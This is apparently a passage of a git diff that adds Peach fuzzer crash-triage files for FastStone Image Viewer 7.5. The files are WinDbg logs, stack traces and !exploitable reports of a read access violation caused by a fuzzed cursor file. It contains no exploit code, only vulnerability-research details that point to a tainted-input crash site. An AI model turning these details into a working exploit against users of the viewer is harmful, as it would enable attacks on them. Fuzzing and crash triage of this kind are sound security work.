C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f18.1420): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07fd55b0 edx=00003879 esi=14e295d0 edi=11718fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.786083048056177760000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 1.929303400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-6.93223e+027 -0.00105174 7.91613e+024 -6.84801e-007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080b8130 08035930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00309000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00309000 03da840f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0e6 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00309000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..e4f950c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/WindowsDebugEngine_description.txt @@ -0,0 +1,209 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Deferred srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols;srv*c:\symbols*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffe`170c0000 00007ffe`172b0000 ntdll.dll +ModLoad: 00000000`77240000 00000000`773da000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b31000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1F18: page heap enabled with flags 0x3. +ModLoad: 00007ffe`15390000 00007ffe`153e5000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffe`15cd0000 00007ffe`15d4d000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77230000 00000000`77239000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`71f50000 00000000`71fb3000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1F18: page heap enabled with flags 0x3. +ModLoad: 00000000`770d0000 00000000`771b0000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`76e10000 00000000`7700f000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75950000 00000000`75ae8000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`750d0000 00000000`750e7000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`75b00000 00000000`75b21000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75640000 00000000`7579c000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`74a30000 00000000`74aac000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`76220000 00000000`76340000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76c10000 00000000`76c89000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76ca0000 00000000`76d5f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`74ab0000 00000000`74b26000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`76450000 00000000`7650b000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`74a00000 00000000`74a25000 C:\Windows\SysWOW64\SspiCli.dll +ModLoad: 00000000`749f0000 00000000`749fa000 C:\Windows\SysWOW64\CRYPTBASE.dll +ModLoad: 00000000`76d60000 00000000`76dc0000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`77030000 00000000`770c2000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`74e40000 00000000`750b6000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`76120000 00000000`76217000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`748f0000 00000000`748f8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`71f40000 00000000`71f46000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`76610000 00000000`76635000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`75ba0000 00000000`7611b000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`71d30000 00000000`71f3f000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.18362.1256_none_e62b6e72f8da69e8\comctl32.dll +ModLoad: 00000000`71cc0000 00000000`71d2b000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`74b30000 00000000`74b6b000 C:\Windows\SysWOW64\cfgmgr32.dll +ModLoad: 00000000`75140000 00000000`7514f000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`76560000 00000000`765e4000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`765f0000 00000000`76609000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`76640000 00000000`76c01000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`71c80000 00000000`71cb2000 C:\Windows\SysWOW64\IPHLPAPI.DLL +ModLoad: 00000000`751d0000 00000000`751eb000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`71bb0000 00000000`71c76000 C:\Windows\SysWOW64\PROPSYS.dll +ModLoad: 00000000`76510000 00000000`76553000 C:\Windows\SysWOW64\powrprof.dll +ModLoad: 00000000`75b90000 00000000`75b9d000 C:\Windows\SysWOW64\UMPDC.dll +ModLoad: 00000000`76dc0000 00000000`76e04000 C:\Windows\SysWOW64\shlwapi.dll +ModLoad: 00000000`77010000 00000000`77023000 C:\Windows\SysWOW64\cryptsp.dll +ModLoad: 00000000`75890000 00000000`75940000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`71b90000 00000000`71bab000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`71b60000 00000000`71b82000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`71b30000 00000000`71b54000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`71990000 00000000`71b29000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`71960000 00000000`71983000 C:\Windows\SysWOW64\WINMMBASE.dll +ModLoad: 00000000`71940000 00000000`71959000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 718c0000 7193a000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76340000 00000000`76443000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`718a0000 00000000`718b9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`771b0000 00000000`77230000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`71730000 00000000`71899000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`716c0000 00000000`71721000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`716b0000 00000000`716b7000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`71670000 00000000`716a1000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`71490000 00000000`7166e000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`71320000 00000000`7148a000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`71250000 00000000`71311000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`71230000 00000000`71249000 C:\Windows\SysWOW64\dxcore.dll +ModLoad: 00000000`71040000 00000000`71225000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`71020000 00000000`7103f000 C:\Windows\SysWOW64\RMCLIENT.dll +ModLoad: 00000000`70fd0000 00000000`7101a000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`70fc0000 00000000`70fca000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`70fa0000 00000000`70fb5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`70f80000 00000000`70f99000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`70f70000 00000000`70f7b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`70f50000 00000000`70f68000 C:\Windows\SysWOW64\MPR.dll +ModLoad: 00000000`70f30000 00000000`70f41000 C:\Windows\SysWOW64\vmhgfs.dll +ModLoad: 00000000`70f10000 00000000`70f24000 C:\Windows\SysWOW64\VCRUNTIME140.dll +ModLoad: 00000000`70f00000 00000000`70f09000 C:\Windows\SysWOW64\drprov.dll +ModLoad: 00000000`70eb0000 00000000`70ef4000 C:\Windows\SysWOW64\WINSTA.dll +ModLoad: 00000000`70e90000 00000000`70ea2000 C:\Windows\SysWOW64\ntlanman.dll +ModLoad: 00000000`70e70000 00000000`70e89000 C:\Windows\SysWOW64\davclnt.dll +ModLoad: 00000000`70e60000 00000000`70e6a000 C:\Windows\SysWOW64\DAVHLPR.dll +ModLoad: 00000000`70e50000 00000000`70e60000 C:\Windows\SysWOW64\wkscli.dll +ModLoad: 00000000`70e40000 00000000`70e4e000 C:\Windows\SysWOW64\cscapi.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`70db0000 00000000`70e32000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1f18.1420): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00006d2d ecx=07fd55b0 edx=00003879 esi=14e295d0 edi=11718fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.786083048056177760000e+0017 +st4= 0.000000000000000000000e+0000 st5= 1.000000000000000000000e+0000 +st6= 2.539999999999999999970e+0000 st7= 1.929303400000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 1.4013e-045 +xmm7=-6.93223e+027 -0.00105174 7.91613e+024 -6.84801e-007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080b8130 08035930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00309000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00309000 03da840f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0e6 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00309000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..20cf21e Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/491/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fc47838 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..bb4ce22 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/50273/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x10A8: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x10A8: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 